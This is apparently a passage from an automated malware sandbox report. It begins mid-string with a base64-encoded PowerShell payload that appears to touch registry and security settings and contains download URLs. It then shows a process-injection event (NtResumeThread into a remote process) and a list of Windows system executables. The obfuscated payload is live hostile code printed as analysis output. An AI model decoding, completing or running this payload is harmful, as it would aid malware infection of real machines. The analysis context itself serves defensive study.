AFEAQQBiAEEAQgBzAEEAQwB3AEEAYgBRAEIAdgBBAEgASQBBAFoAUQBBADcAQQBDAFEAQQBVAEEAQgA1AEEARwB3AEEAYgB3AEIAeQBBAEcAawBBAGMAdwBCADAAQQBHAFUAQQBiAGcAQgB2AEEASABNAEEAYQBRAEIAegBBAEYAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgB2AEEARwA0AEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCADEAQQBHADQAQQBjAHcAQgBsAEEASABJAEEAWgBnAEIAcwBBAEcAawBBAGEAdwBCAGwAQQBDAEkAQQBPAHcAQQBrAEEARwBNAEEAYgB3AEIAdQBBAEcAawBBAFoAZwBCAGwAQQBIAEkAQQBiAHcAQgAxAEEASABNAEEAUQBRAEIAeQBBAEcAYwBBAGQAUQBCAG0AQQBHAGsAQQBaAFEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFUAQQBCAHoAQQBIAGsAQQBiAEEAQgBzAEEARwBrAEEAZABRAEIAdABBAEUAVQBBAFkAdwBCAHcAQQBHAGcAQQBiAHcAQgB5AEEARwBrAEEAZQBnAEIAbABBAEMASQBBAE8AdwBBAD0AIgA7ACQAVQBuAGQAZQByAHYAZQBuAHQAaQBsAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBkAGcAQgBwAEEARwBRAEEAWgBRAEIAdgBBAEMANABBAGQAUQBCAHIAQQBBAD0APQBJAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBsAEEASABnAEEAYwBBAEIAdgBBAEgATQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEASABZAEEAWgBRAEIAbgBBAEcARQBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
Process injection Process 2576 resumed a thread in remote process 2672
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002f8
suspend_count: 1
process_identifier: 2672
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe